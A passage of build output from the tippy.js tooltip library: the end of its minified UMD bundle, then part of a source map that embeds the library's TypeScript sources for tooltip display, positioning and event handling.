e=$.state.isVisible,t=$.state.isDestroyed,o=!$.state.isEnabled,a=x.isTouch&&!$.props.touch,s=r($.props.duration,0,R.duration);if(e||t||o||a)return;if(te().hasAttribute("disabled"))return;if(ae("onShow",[$],!1),!1===$.props.onShow($))return;$.state.isVisible=!0,ee()&&(z.style.visibility="visible");ie(),de(),$.state.isMounted||(z.style.transition="none");if(ee()){var u=re(),p=u.box,f=u.content;b([p,f],0)}A=function(){var e;if($.state.isVisible&&!_){if(_=!0,z.offsetHeight,z.style.transition=$.props.moveTransition,ee()&&$.props.animation){var t=re(),n=t.box,r=t.content;b([n,r],s),y([n,r],"visible")}se(),ue(),c(U,$),null==(e=$.popperInstance)||e.forceUpdate(),ae("onMount",[$]),$.props.animation&&ee()&&function(e,t){me(e,t)}(s,(function(){$.state.isShown=!0,ae("onShown",[$])}))}},function(){var e,t=$.props.appendTo,r=te();e=$.props.interactive&&t===n||"parent"===t?r.parentNode:i(t,[r]);e.contains(z)||e.appendChild(z);$.state.isMounted=!0,Ce()}()},hide:function(){var e=!$.state.isVisible,t=$.state.isDestroyed,n=!$.state.isEnabled,o=r($.props.duration,1,R.duration);if(e||t||n)return;if(ae("onHide",[$],!1),!1===$.props.onHide($))return;$.state.isVisible=!1,$.state.isShown=!1,_=!1,V=!1,ee()&&(z.style.visibility="hidden");if(ce(),ve(),ie(!0),ee()){var i=re(),a=i.box,s=i.content;$.props.animation&&(b([a,s],o),y([a,s],"hidden"))}se(),ue(),$.props.animation?ee()&&function(e,t){me(e,(function(){!$.state.isVisible&&z.parentNode&&z.parentNode.contains(z)&&t()}))}(o,$.unmount):$.unmount()},hideWithInteractivity:function(e){ne().addEventListener("mousemove",W),c(H,W),W(e)},enable:function(){$.state.isEnabled=!0},disable:function(){$.hide(),$.state.isEnabled=!1},unmount:function(){$.state.isVisible&&$.hide();if(!$.state.isMounted)return;Te(),Ae().forEach((function(e){e._tippy.unmount()})),z.parentNode&&z.parentNode.removeChild(z);U=U.filter((function(e){return e!==$})),$.state.isMounted=!1,ae("onHidden",[$])},destroy:function(){if($.state.isDestroyed)return;$.clearDelayTimeouts(),$.unmount(),be(),delete o._tippy,$.state.isDestroyed=!0,ae("onDestroy",[$])}};if(!M.render)return $;var q=M.render($),z=q.popper,J=q.onUpdate;z.setAttribute("data-tippy-root",""),z.id="tippy-"+$.id,$.popper=z,o._tippy=$,z._tippy=$;var G=Y.map((function(e){return e.fn($)})),K=o.hasAttribute("aria-expanded");return he(),ue(),ie(),ae("onCreate",[$]),M.showOnCreate&&Le(),z.addEventListener("mouseenter",(function(){$.props.interactive&&$.state.isVisible&&$.clearDelayTimeouts()})),z.addEventListener("mouseleave",(function(){$.props.interactive&&$.props.trigger.indexOf("mouseenter")>=0&&ne().addEventListener("mousemove",W)})),$;function Q(){var e=$.props.touch;return Array.isArray(e)?e:[e,0]}function Z(){return"hold"===Q()[0]}function ee(){var e;return!(null==(e=$.props.render)||!e.$$tippy)}function te(){return L||o}function ne(){var e=te().parentNode;return e?w(e):document}function re(){return S(z)}function oe(e){return $.state.isMounted&&!$.state.isVisible||x.isTouch||C&&"focus"===C.type?0:r($.props.delay,e?0:1,R.delay)}function ie(e){void 0===e&&(e=!1),z.style.pointerEvents=$.props.interactive&&!e?"":"none",z.style.zIndex=""+$.props.zIndex}function ae(e,t,n){var r;(void 0===n&&(n=!0),G.forEach((function(n){n[e]&&n[e].apply(n,t)})),n)&&(r=$.props)[e].apply(r,t)}function se(){var e=$.props.aria;if(e.content){var t="aria-"+e.content,n=z.id;u($.props.triggerTarget||o).forEach((function(e){var r=e.getAttribute(t);if($.state.isVisible)e.setAttribute(t,r?r+" "+n:n);else{var o=r&&r.replace(n,"").trim();o?e.setAttribute(t,o):e.removeAttribute(t)}}))}}function ue(){!K&&$.props.aria.expanded&&u($.props.triggerTarget||o).forEach((function(e){$.props.interactive?e.setAttribute("aria-expanded",$.state.isVisible&&e===te()?"true":"false"):e.removeAttribute("aria-expanded")}))}function ce(){ne().removeEventListener("mousemove",W),H=H.filter((function(e){return e!==W}))}function pe(e){if(!x.isTouch||!N&&"mousedown"!==e.type){var t=e.composedPath&&e.composedPath()[0]||e.target;if(!$.props.interactive||!O(z,t)){if(u($.props.triggerTarget||o).some((function(e){return O(e,t)}))){if(x.isTouch)return;if($.state.isVisible&&$.props.trigger.indexOf("click")>=0)return}else ae("onClickOutside",[$,e]);!0===$.props.hideOnClick&&($.clearDelayTimeouts(),$.hide(),I=!0,setTimeout((function(){I=!1})),$.state.isMounted||ve())}}}function fe(){N=!0}function le(){N=!1}function de(){var e=ne();e.addEventListener("mousedown",pe,!0),e.addEventListener("touchend",pe,t),e.addEventListener("touchstart",le,t),e.addEventListener("touchmove",fe,t)}function ve(){var e=ne();e.removeEventListener("mousedown",pe,!0),e.removeEventListener("touchend",pe,t),e.removeEventListener("touchstart",le,t),e.removeEventListener("touchmove",fe,t)}function me(e,t){var n=re().box;function r(e){e.target===n&&(E(n,"remove",r),t())}if(0===e)return t();E(n,"remove",T),E(n,"add",r),T=r}function ge(e,t,n){void 0===n&&(n=!1),u($.props.triggerTarget||o).forEach((function(r){r.addEventListener(e,t,n),F.push({node:r,eventType:e,handler:t,options:n})}))}function he(){var e;Z()&&(ge("touchstart",ye,{passive:!0}),ge("touchend",Ee,{passive:!0})),(e=$.props.trigger,e.split(/\s+/).filter(Boolean)).forEach((function(e){if("manual"!==e)switch(ge(e,ye),e){case"mouseenter":ge("mouseleave",Ee);break;case"focus":ge(D?"focusout":"blur",Oe);break;case"focusin":ge("focusout",Oe)}}))}function be(){F.forEach((function(e){var t=e.node,n=e.eventType,r=e.handler,o=e.options;t.removeEventListener(n,r,o)})),F=[]}function ye(e){var t,n=!1;if($.state.isEnabled&&!xe(e)&&!I){var r="focus"===(null==(t=C)?void 0:t.type);C=e,L=e.currentTarget,ue(),!$.state.isVisible&&m(e)&&H.forEach((function(t){return t(e)})),"click"===e.type&&($.props.trigger.indexOf("mouseenter")<0||V)&&!1!==$.props.hideOnClick&&$.state.isVisible?n=!0:Le(e),"click"===e.type&&(V=!n),n&&!r&&De(e)}}function we(e){var t=e.target,n=te().contains(t)||z.contains(t);"mousemove"===e.type&&n||function(e,t){var n=t.clientX,r=t.clientY;return e.every((function(e){var t=e.popperRect,o=e.popperState,i=e.props.interactiveBorder,a=p(o.placement),s=o.modifiersData.offset;if(!s)return!0;var u="bottom"===a?s.top.y:0,c="top"===a?s.bottom.y:0,f="right"===a?s.left.x:0,l="left"===a?s.right.x:0,d=t.top-r+u>i,v=r-t.bottom-c>i,m=t.left-n+f>i,g=n-t.right-l>i;return d||v||m||g}))}(Ae().concat(z).map((function(e){var t,n=null==(t=e._tippy.popperInstance)?void 0:t.state;return n?{popperRect:e.getBoundingClientRect(),popperState:n,props:M}:null})).filter(Boolean),e)&&(ce(),De(e))}function Ee(e){xe(e)||$.props.trigger.indexOf("click")>=0&&V||($.props.interactive?$.hideWithInteractivity(e):De(e))}function Oe(e){$.props.trigger.indexOf("focusin")<0&&e.target!==te()||$.props.interactive&&e.relatedTarget&&z.contains(e.relatedTarget)||De(e)}function xe(e){return!!x.isTouch&&Z()!==e.type.indexOf("touch")>=0}function Ce(){Te();var t=$.props,n=t.popperOptions,r=t.placement,i=t.offset,a=t.getReferenceClientRect,s=t.moveTransition,u=ee()?S(z).arrow:null,c=a?{getBoundingClientRect:a,contextElement:a.contextElement||te()}:o,p=[{name:"offset",options:{offset:i}},{name:"preventOverflow",options:{padding:{top:2,bottom:2,left:5,right:5}}},{name:"flip",options:{padding:5}},{name:"computeStyles",options:{adaptive:!s}},{name:"$$tippy",enabled:!0,phase:"beforeWrite",requires:["computeStyles"],fn:function(e){var t=e.state;if(ee()){var n=re().box;["placement","reference-hidden","escaped"].forEach((function(e){"placement"===e?n.setAttribute("data-placement",t.placement):t.attributes.popper["data-popper-"+e]?n.setAttribute("data-"+e,""):n.removeAttribute("data-"+e)})),t.attributes.popper={}}}}];ee()&&u&&p.push({name:"arrow",options:{element:u,padding:3}}),p.push.apply(p,(null==n?void 0:n.modifiers)||[]),$.popperInstance=e.createPopper(c,z,Object.assign({},n,{placement:r,onFirstUpdate:A,modifiers:p}))}function Te(){$.popperInstance&&($.popperInstance.destroy(),$.popperInstance=null)}function Ae(){return f(z.querySelectorAll("[data-tippy-root]"))}function Le(e){$.clearDelayTimeouts(),e&&ae("onTrigger",[$,e]),de();var t=oe(!0),n=Q(),r=n[0],o=n[1];x.isTouch&&"hold"===r&&o&&(t=o),t?v=setTimeout((function(){$.show()}),t):$.show()}function De(e){if($.clearDelayTimeouts(),ae("onUntrigger",[$,e]),$.state.isVisible){if(!($.props.trigger.indexOf("mouseenter")>=0&&$.props.trigger.indexOf("click")>=0&&["mouseleave","mousemove"].indexOf(e.type)>=0&&V)){var t=oe(!1);t?g=setTimeout((function(){$.state.isVisible&&$.hide()}),t):h=requestAnimationFrame((function(){$.hide()}))}}else ve()}}function F(e,n){void 0===n&&(n={});var r=R.plugins.concat(n.plugins||[]);document.addEventListener("touchstart",T,t),window.addEventListener("blur",L);var o=Object.assign({},n,{plugins:r}),i=h(e).reduce((function(e,t){var n=t&&_(t,o);return n&&e.push(n),e}),[]);return v(e)?i[0]:i}F.defaultProps=R,F.setDefaultProps=function(e){Object.keys(e).forEach((function(t){R[t]=e[t]}))},F.currentInput=x;var W=Object.assign({},e.applyStyles,{effect:function(e){var t=e.state,n={popper:{position:t.options.strategy,left:"0",top:"0",margin:"0"},arrow:{position:"absolute"},reference:{}};Object.assign(t.elements.popper.style,n.popper),t.styles=n,t.elements.arrow&&Object.assign(t.elements.arrow.style,n.arrow)}}),X={mouseover:"mouseenter",focusin:"focus",click:"click"};var Y={name:"animateFill",defaultValue:!1,fn:function(e){var t;if(null==(t=e.props.render)||!t.$$tippy)return{};var n=S(e.popper),r=n.box,o=n.content,i=e.props.animateFill?function(){var e=d();return e.className="tippy-backdrop",y([e],"hidden"),e}():null;return{onCreate:function(){i&&(r.insertBefore(i,r.firstElementChild),r.setAttribute("data-animatefill",""),r.style.overflow="hidden",e.setProps({arrow:!1,animation:"shift-away"}))},onMount:function(){if(i){var e=r.style.transitionDuration,t=Number(e.replace("ms",""));o.style.transitionDelay=Math.round(t/10)+"ms",i.style.transitionDuration=e,y([i],"visible")}},onShow:function(){i&&(i.style.transitionDuration="0ms")},onHide:function(){i&&y([i],"hidden")}}}};var $={clientX:0,clientY:0},q=[];function z(e){var t=e.clientX,n=e.clientY;$={clientX:t,clientY:n}}var J={name:"followCursor",defaultValue:!1,fn:function(e){var t=e.reference,n=w(e.props.triggerTarget||t),r=!1,o=!1,i=!0,a=e.props;function s(){return"initial"===e.props.followCursor&&e.state.isVisible}function u(){n.addEventListener("mousemove",f)}function c(){n.removeEventListener("mousemove",f)}function p(){r=!0,e.setProps({getReferenceClientRect:null}),r=!1}function f(n){var r=!n.target||t.contains(n.target),o=e.props.followCursor,i=n.clientX,a=n.clientY,s=t.getBoundingClientRect(),u=i-s.left,c=a-s.top;!r&&e.props.interactive||e.setProps({getReferenceClientRect:function(){var e=t.getBoundingClientRect(),n=i,r=a;"initial"===o&&(n=e.left+u,r=e.top+c);var s="horizontal"===o?e.top:r,p="vertical"===o?e.right:n,f="horizontal"===o?e.bottom:r,l="vertical"===o?e.left:n;return{width:p-l,height:f-s,top:s,right:p,bottom:f,left:l}}})}function l(){e.props.followCursor&&(q.push({instance:e,doc:n}),function(e){e.addEventListener("mousemove",z)}(n))}function d(){0===(q=q.filter((function(t){return t.instance!==e}))).filter((function(e){return e.doc===n})).length&&function(e){e.removeEventListener("mousemove",z)}(n)}return{onCreate:l,onDestroy:d,onBeforeUpdate:function(){a=e.props},onAfterUpdate:function(t,n){var i=n.followCursor;r||void 0!==i&&a.followCursor!==i&&(d(),i?(l(),!e.state.isMounted||o||s()||u()):(c(),p()))},onMount:function(){e.props.followCursor&&!o&&(i&&(f($),i=!1),s()||u())},onTrigger:function(e,t){m(t)&&($={clientX:t.clientX,clientY:t.clientY}),o="focus"===t.type},onHidden:function(){e.props.followCursor&&(p(),c(),i=!0)}}}};var G={name:"inlinePositioning",defaultValue:!1,fn:function(e){var t,n=e.reference;var r=-1,o=!1,i=[],a={name:"tippyInlinePositioning",enabled:!0,phase:"afterWrite",fn:function(o){var a=o.state;e.props.inlinePositioning&&(-1!==i.indexOf(a.placement)&&(i=[]),t!==a.placement&&-1===i.indexOf(a.placement)&&(i.push(a.placement),e.setProps({getReferenceClientRect:function(){return function(e){return function(e,t,n,r){if(n.length<2||null===e)return t;if(2===n.length&&r>=0&&n[0].left>n[1].right)return n[r]||t;switch(e){case"top":case"bottom":var o=n[0],i=n[n.length-1],a="top"===e,s=o.top,u=i.bottom,c=a?o.left:i.left,p=a?o.right:i.right;return{top:s,bottom:u,left:c,right:p,width:p-c,height:u-s};case"left":case"right":var f=Math.min.apply(Math,n.map((function(e){return e.left}))),l=Math.max.apply(Math,n.map((function(e){return e.right}))),d=n.filter((function(t){return"left"===e?t.left===f:t.right===l})),v=d[0].top,m=d[d.length-1].bottom;return{top:v,bottom:m,left:f,right:l,width:l-f,height:m-v};default:return t}}(p(e),n.getBoundingClientRect(),f(n.getClientRects()),r)}(a.placement)}})),t=a.placement)}};function s(){var t;o||(t=function(e,t){var n;return{popperOptions:Object.assign({},e.popperOptions,{modifiers:[].concat(((null==(n=e.popperOptions)?void 0:n.modifiers)||[]).filter((function(e){return e.name!==t.name})),[t])})}}(e.props,a),o=!0,e.setProps(t),o=!1)}return{onCreate:s,onAfterUpdate:s,onTrigger:function(t,n){if(m(n)){var o=f(e.reference.getClientRects()),i=o.find((function(e){return e.left-2<=n.clientX&&e.right+2>=n.clientX&&e.top-2<=n.clientY&&e.bottom+2>=n.clientY})),a=o.indexOf(i);r=a>-1?a:r}},onHidden:function(){r=-1}}}};var K={name:"sticky",defaultValue:!1,fn:function(e){var t=e.reference,n=e.popper;function r(t){return!0===e.props.sticky||e.props.sticky===t}var o=null,i=null;function a(){var s=r("reference")?(e.popperInstance?e.popperInstance.state.elements.reference:t).getBoundingClientRect():null,u=r("popper")?n.getBoundingClientRect():null;(s&&Q(o,s)||u&&Q(i,u))&&e.popperInstance&&e.popperInstance.update(),o=s,i=u,e.state.isMounted&&requestAnimationFrame(a)}return{onMount:function(){e.props.sticky&&a()}}}};function Q(e,t){return!e||!t||(e.top!==t.top||e.right!==t.right||e.bottom!==t.bottom||e.left!==t.left)}return F.setDefaultProps({plugins:[Y,J,G,K],render:N}),F.createSingleton=function(e,t){var n;void 0===t&&(t={});var r,o=e,i=[],a=[],c=t.overrides,p=[],f=!1;function l(){a=o.map((function(e){return u(e.props.triggerTarget||e.reference)})).reduce((function(e,t){return e.concat(t)}),[])}function v(){i=o.map((function(e){return e.reference}))}function m(e){o.forEach((function(t){e?t.enable():t.disable()}))}function g(e){return o.map((function(t){var n=t.setProps;return t.setProps=function(o){n(o),t.reference===r&&e.setProps(o)},function(){t.setProps=n}}))}function h(e,t){var n=a.indexOf(t);if(t!==r){r=t;var s=(c||[]).concat("content").reduce((function(e,t){return e[t]=o[n].props[t],e}),{});e.setProps(Object.assign({},s,{getReferenceClientRect:"function"==typeof s.getReferenceClientRect?s.getReferenceClientRect:function(){var e;return null==(e=i[n])?void 0:e.getBoundingClientRect()}}))}}m(!1),v(),l();var b={fn:function(){return{onDestroy:function(){m(!0)},onHidden:function(){r=null},onClickOutside:function(e){e.props.showOnCreate&&!f&&(f=!0,r=null)},onShow:function(e){e.props.showOnCreate&&!f&&(f=!0,h(e,i[0]))},onTrigger:function(e,t){h(e,t.currentTarget)}}}},y=F(d(),Object.assign({},s(t,["overrides"]),{plugins:[b].concat(t.plugins||[]),triggerTarget:a,popperOptions:Object.assign({},t.popperOptions,{modifiers:[].concat((null==(n=t.popperOptions)?void 0:n.modifiers)||[],[W])})})),w=y.show;y.show=function(e){if(w(),!r&&null==e)return h(y,i[0]);if(!r||null!=e){if("number"==typeof e)return i[e]&&h(y,i[e]);if(o.indexOf(e)>=0){var t=e.reference;return h(y,t)}return i.indexOf(e)>=0?h(y,e):void 0}},y.showNext=function(){var e=i[0];if(!r)return y.show(0);var t=i.indexOf(r);y.show(i[t+1]||e)},y.showPrevious=function(){var e=i[i.length-1];if(!r)return y.show(e);var t=i.indexOf(r),n=i[t-1]||e;y.show(n)};var E=y.setProps;return y.setProps=function(e){c=e.overrides||c,E(e)},y.setInstances=function(e){m(!0),p.forEach((function(e){return e()})),o=e,m(!1),v(),l(),p=g(y),y.setProps({triggerTarget:a})},p=g(y),y},F.delegate=function(e,n){var r=[],o=[],i=!1,a=n.target,c=s(n,["target"]),p=Object.assign({},c,{trigger:"manual",touch:!1}),f=Object.assign({touch:R.touch},c,{showOnCreate:!0}),l=F(e,p);function d(e){if(e.target&&!i){var t=e.target.closest(a);if(t){var r=t.getAttribute("data-tippy-trigger")||n.trigger||R.trigger;if(!t._tippy&&!("touchstart"===e.type&&"boolean"==typeof f.touch||"touchstart"!==e.type&&r.indexOf(X[e.type])<0)){var s=F(t,f);s&&(o=o.concat(s))}}}}function v(e,t,n,o){void 0===o&&(o=!1),e.addEventListener(t,n,o),r.push({node:e,eventType:t,handler:n,options:o})}return u(l).forEach((function(e){var n=e.destroy,a=e.enable,s=e.disable;e.destroy=function(e){void 0===e&&(e=!0),e&&o.forEach((function(e){e.destroy()})),o=[],r.forEach((function(e){var t=e.node,n=e.eventType,r=e.handler,o=e.options;t.removeEventListener(n,r,o)})),r=[],n()},e.enable=function(){a(),o.forEach((function(e){return e.enable()})),i=!1},e.disable=function(){s(),o.forEach((function(e){return e.disable()})),i=!0},function(e){var n=e.reference;v(n,"touchstart",d,t),v(n,"mouseover",d),v(n,"focusin",d),v(n,"click",d)}(e)})),l},F.hideAll=function(e){var t=void 0===e?{}:e,n=t.exclude,r=t.duration;U.forEach((function(e){var t=!1;if(n&&(t=g(n)?e.reference===n:e.popper===n.popper),!t){var o=e.props.duration;e.setProps({duration:r}),e.hide(),e.state.isDestroyed||e.setProps({duration:o})}}))},F.roundArrow='<svg width="16" height="6" xmlns="http://www.w3.org/2000/svg"><path d="M0 6s1.796-.013 4.67-3.615C5.851.9 6.93.006 8 0c1.07-.006 2.148.887 3.343 2.385C14.233 6.005 16 6 16 6H0z"></svg>',F})); //# sourceMappingURL=tippy.umd.min.js.map dist/tippy.esm.js.map 0000666 00000464501 15167156642 0010604 0 ustar 00 {"version":3,"file":"tippy.esm.js","sources":["../src/constants.ts","../src/utils.ts","../src/dom-utils.ts","../src/bindGlobalEventListeners.ts","../src/browser.ts","../src/validation.ts","../src/props.ts","../src/template.ts","../src/createTippy.ts","../src/index.ts","../src/addons/createSingleton.ts","../src/addons/delegate.ts","../src/plugins/animateFill.ts","../src/plugins/followCursor.ts","../src/plugins/inlinePositioning.ts","../src/plugins/sticky.ts","../build/base.js"],"sourcesContent":["export const ROUND_ARROW =\n '<svg width=\"16\" height=\"6\" xmlns=\"http://www.w3.org/2000/svg\"><path d=\"M0 6s1.796-.013 4.67-3.615C5.851.9 6.93.006 8 0c1.07-.006 2.148.887 3.343 2.385C14.233 6.005 16 6 16 6H0z\"></svg>';\n\nexport const BOX_CLASS = `__NAMESPACE_PREFIX__-box`;\nexport const CONTENT_CLASS = `__NAMESPACE_PREFIX__-content`;\nexport const BACKDROP_CLASS = `__NAMESPACE_PREFIX__-backdrop`;\nexport const ARROW_CLASS = `__NAMESPACE_PREFIX__-arrow`;\nexport const SVG_ARROW_CLASS = `__NAMESPACE_PREFIX__-svg-arrow`;\n\nexport const TOUCH_OPTIONS = {passive: true, capture: true};\n\nexport const TIPPY_DEFAULT_APPEND_TO = () => document.body;\n","import {BasePlacement, Placement} from './types';\n\nexport function hasOwnProperty(\n obj: Record<string, unknown>,\n key: string\n): boolean {\n return {}.hasOwnProperty.call(obj, key);\n}\n\nexport function getValueAtIndexOrReturn<T>(\n value: T | [T | null, T | null],\n index: number,\n defaultValue: T | [T, T]\n): T {\n if (Array.isArray(value)) {\n const v = value[index];\n return v == null\n ? Array.isArray(defaultValue)\n ? defaultValue[index]\n : defaultValue\n : v;\n }\n\n return value;\n}\n\nexport function isType(value: any, type: string): boolean {\n const str = {}.toString.call(value);\n return str.indexOf('[object') === 0 && str.indexOf(`${type}]`) > -1;\n}\n\nexport function invokeWithArgsOrReturn(value: any, args: any[]): any {\n return typeof value === 'function' ? value(...args) : value;\n}\n\nexport function debounce<T>(\n fn: (arg: T) => void,\n ms: number\n): (arg: T) => void {\n // Avoid wrapping in `setTimeout` if ms is 0 anyway\n if (ms === 0) {\n return fn;\n }\n\n let timeout: any;\n\n return (arg): void => {\n clearTimeout(timeout);\n timeout = setTimeout(() => {\n fn(arg);\n }, ms);\n };\n}\n\nexport function removeProperties<T>(obj: T, keys: string[]): Partial<T> {\n const clone = {...obj};\n keys.forEach((key) => {\n delete (clone as any)[key];\n });\n return clone;\n}\n\nexport function splitBySpaces(value: string): string[] {\n return value.split(/\\s+/).filter(Boolean);\n}\n\nexport function normalizeToArray<T>(value: T | T[]): T[] {\n return ([] as T[]).concat(value);\n}\n\nexport function pushIfUnique<T>(arr: T[], value: T): void {\n if (arr.indexOf(value) === -1) {\n arr.push(value);\n }\n}\n\nexport function appendPxIfNumber(value: string | number): string {\n return typeof value === 'number' ? `${value}px` : value;\n}\n\nexport function unique<T>(arr: T[]): T[] {\n return arr.filter((item, index) => arr.indexOf(item) === index);\n}\n\nexport function getNumber(value: string | number): number {\n return typeof value === 'number' ? value : parseFloat(value);\n}\n\nexport function getBasePlacement(placement: Placement): BasePlacement {\n return placement.split('-')[0] as BasePlacement;\n}\n\nexport function arrayFrom(value: ArrayLike<any>): any[] {\n return [].slice.call(value);\n}\n\nexport function removeUndefinedProps(\n obj: Record<string, unknown>\n): Partial<Record<string, unknown>> {\n return Object.keys(obj).reduce((acc, key) => {\n if (obj[key] !== undefined) {\n (acc as any)[key] = obj[key];\n }\n\n return acc;\n }, {});\n}\n","import {ReferenceElement, Targets} from './types';\nimport {PopperTreeData} from './types-internal';\nimport {arrayFrom, isType, normalizeToArray, getBasePlacement} from './utils';\n\nexport function div(): HTMLDivElement {\n return document.createElement('div');\n}\n\nexport function isElement(value: unknown): value is Element | DocumentFragment {\n return ['Element', 'Fragment'].some((type) => isType(value, type));\n}\n\nexport function isNodeList(value: unknown): value is NodeList {\n return isType(value, 'NodeList');\n}\n\nexport function isMouseEvent(value: unknown): value is MouseEvent {\n return isType(value, 'MouseEvent');\n}\n\nexport function isReferenceElement(value: any): value is ReferenceElement {\n return !!(value && value._tippy && value._tippy.reference === value);\n}\n\nexport function getArrayOfElements(value: Targets): Element[] {\n if (isElement(value)) {\n return [value];\n }\n\n if (isNodeList(value)) {\n return arrayFrom(value);\n }\n\n if (Array.isArray(value)) {\n return value;\n }\n\n return arrayFrom(document.querySelectorAll(value));\n}\n\nexport function setTransitionDuration(\n els: (HTMLDivElement | null)[],\n value: number\n): void {\n els.forEach((el) => {\n if (el) {\n el.style.transitionDuration = `${value}ms`;\n }\n });\n}\n\nexport function setVisibilityState(\n els: (HTMLDivElement | null)[],\n state: 'visible' | 'hidden'\n): void {\n els.forEach((el) => {\n if (el) {\n el.setAttribute('data-state', state);\n }\n });\n}\n\nexport function getOwnerDocument(\n elementOrElements: Element | Element[]\n): Document {\n const [element] = normalizeToArray(elementOrElements);\n\n // Elements created via a <template> have an ownerDocument with no reference to the body\n return element?.ownerDocument?.body ? element.ownerDocument : document;\n}\n\nexport function isCursorOutsideInteractiveBorder(\n popperTreeData: PopperTreeData[],\n event: MouseEvent\n): boolean {\n const {clientX, clientY} = event;\n\n return popperTreeData.every(({popperRect, popperState, props}) => {\n const {interactiveBorder} = props;\n const basePlacement = getBasePlacement(popperState.placement);\n const offsetData = popperState.modifiersData.offset;\n\n if (!offsetData) {\n return true;\n }\n\n const topDistance = basePlacement === 'bottom' ? offsetData.top!.y : 0;\n const bottomDistance = basePlacement === 'top' ? offsetData.bottom!.y : 0;\n const leftDistance = basePlacement === 'right' ? offsetData.left!.x : 0;\n const rightDistance = basePlacement === 'left' ? offsetData.right!.x : 0;\n\n const exceedsTop =\n popperRect.top - clientY + topDistance > interactiveBorder;\n const exceedsBottom =\n clientY - popperRect.bottom - bottomDistance > interactiveBorder;\n const exceedsLeft =\n popperRect.left - clientX + leftDistance > interactiveBorder;\n const exceedsRight =\n clientX - popperRect.right - rightDistance > interactiveBorder;\n\n return exceedsTop || exceedsBottom || exceedsLeft || exceedsRight;\n });\n}\n\nexport function updateTransitionEndListener(\n box: HTMLDivElement,\n action: 'add' | 'remove',\n listener: (event: TransitionEvent) => void\n): void {\n const method = `${action}EventListener` as\n | 'addEventListener'\n | 'removeEventListener';\n\n // some browsers apparently support `transition` (unprefixed) but only fire\n // `webkitTransitionEnd`...\n ['transitionend', 'webkitTransitionEnd'].forEach((event) => {\n box[method](event, listener as EventListener);\n });\n}\n\n/**\n * Compared to xxx.contains, this function works for dom structures with shadow\n * dom\n */\nexport function actualContains(parent: Element, child: Element): boolean {\n let target = child;\n while (target) {\n if (parent.contains(target)) {\n return true;\n }\n target = (target.getRootNode?.() as any)?.host;\n }\n return false;\n}\n","import {TOUCH_OPTIONS} from './constants';\nimport {isReferenceElement} from './dom-utils';\n\nexport const currentInput = {isTouch: false};\nlet lastMouseMoveTime = 0;\n\n/**\n * When a `touchstart` event is fired, it's assumed the user is using touch\n * input. We'll bind a `mousemove` event listener to listen for mouse input in\n * the future. This way, the `isTouch` property is fully dynamic and will handle\n * hybrid devices that use a mix of touch + mouse input.\n */\nexport function onDocumentTouchStart(): void {\n if (currentInput.isTouch) {\n return;\n }\n\n currentInput.isTouch = true;\n\n if (window.performance) {\n document.addEventListener('mousemove', onDocumentMouseMove);\n }\n}\n\n/**\n * When two `mousemove` event are fired consecutively within 20ms, it's assumed\n * the user is using mouse input again. `mousemove` can fire on touch devices as\n * well, but very rarely that quickly.\n */\nexport function onDocumentMouseMove(): void {\n const now = performance.now();\n\n if (now - lastMouseMoveTime < 20) {\n currentInput.isTouch = false;\n\n document.removeEventListener('mousemove', onDocumentMouseMove);\n }\n\n lastMouseMoveTime = now;\n}\n\n/**\n * When an element is in focus and has a tippy, leaving the tab/window and\n * returning causes it to show again. For mouse users this is unexpected, but\n * for keyboard use it makes sense.\n * TODO: find a better technique to solve this problem\n */\nexport function onWindowBlur(): void {\n const activeElement = document.activeElement as HTMLElement | null;\n\n if (isReferenceElement(activeElement)) {\n const instance = activeElement._tippy!;\n\n if (activeElement.blur && !instance.state.isVisible) {\n activeElement.blur();\n }\n }\n}\n\nexport default function bindGlobalEventListeners(): void {\n document.addEventListener('touchstart', onDocumentTouchStart, TOUCH_OPTIONS);\n window.addEventListener('blur', onWindowBlur);\n}\n","export const isBrowser =\n typeof window !== 'undefined' && typeof document !== 'undefined';\n\nexport const isIE11 = isBrowser\n ? // @ts-ignore\n !!window.msCrypto\n : false;\n","import {Targets} from './types';\n\nexport function createMemoryLeakWarning(method: string): string {\n const txt = method === 'destroy' ? 'n already-' : ' ';\n\n return [\n `${method}() was called on a${txt}destroyed instance. This is a no-op but`,\n 'indicates a potential memory leak.',\n ].join(' ');\n}\n\nexport function clean(value: string): string {\n const spacesAndTabs = /[ \\t]{2,}/g;\n const lineStartWithSpaces = /^[ \\t]*/gm;\n\n return value\n .replace(spacesAndTabs, ' ')\n .replace(lineStartWithSpaces, '')\n .trim();\n}\n\nfunction getDevMessage(message: string): string {\n return clean(`\n %ctippy.js\n\n %c${clean(message)}\n\n %c👷 This is a development-only message. It will be removed in production.\n `);\n}\n\nexport function getFormattedMessage(message: string): string[] {\n return [\n getDevMessage(message),\n // title\n 'color: #00C584; font-size: 1.3em; font-weight: bold;',\n // message\n 'line-height: 1.5',\n // footer\n 'color: #a6a095;',\n ];\n}\n\n// Assume warnings and errors never have the same message\nlet visitedMessages: Set<string>;\nif (__DEV__) {\n resetVisitedMessages();\n}\n\nexport function resetVisitedMessages(): void {\n visitedMessages = new Set();\n}\n\nexport function warnWhen(condition: boolean, message: string): void {\n if (condition && !visitedMessages.has(message)) {\n visitedMessages.add(message);\n console.warn(...getFormattedMessage(message));\n }\n}\n\nexport function errorWhen(condition: boolean, message: string): void {\n if (condition && !visitedMessages.has(message)) {\n visitedMessages.add(message);\n console.error(...getFormattedMessage(message));\n }\n}\n\nexport function validateTargets(targets: Targets): void {\n const didPassFalsyValue = !targets;\n const didPassPlainObject =\n Object.prototype.toString.call(targets) === '[object Object]' &&\n !(targets as any).addEventListener;\n\n errorWhen(\n didPassFalsyValue,\n [\n 'tippy() was passed',\n '`' + String(targets) + '`',\n 'as its targets (first) argument. Valid types are: String, Element,',\n 'Element[], or NodeList.',\n ].join(' ')\n );\n\n errorWhen(\n didPassPlainObject,\n [\n 'tippy() was passed a plain object which is not supported as an argument',\n 'for virtual positioning. Use props.getReferenceClientRect instead.',\n ].join(' ')\n );\n}\n","import {DefaultProps, Plugin, Props, ReferenceElement, Tippy} from './types';\nimport {\n hasOwnProperty,\n removeProperties,\n invokeWithArgsOrReturn,\n} from './utils';\nimport {warnWhen} from './validation';\nimport {TIPPY_DEFAULT_APPEND_TO} from './constants';\n\nconst pluginProps = {\n animateFill: false,\n followCursor: false,\n inlinePositioning: false,\n sticky: false,\n};\n\nconst renderProps = {\n allowHTML: false,\n animation: 'fade',\n arrow: true,\n content: '',\n inertia: false,\n maxWidth: 350,\n role: 'tooltip',\n theme: '',\n zIndex: 9999,\n};\n\nexport const defaultProps: DefaultProps = {\n appendTo: TIPPY_DEFAULT_APPEND_TO,\n aria: {\n content: 'auto',\n expanded: 'auto',\n },\n delay: 0,\n duration: [300, 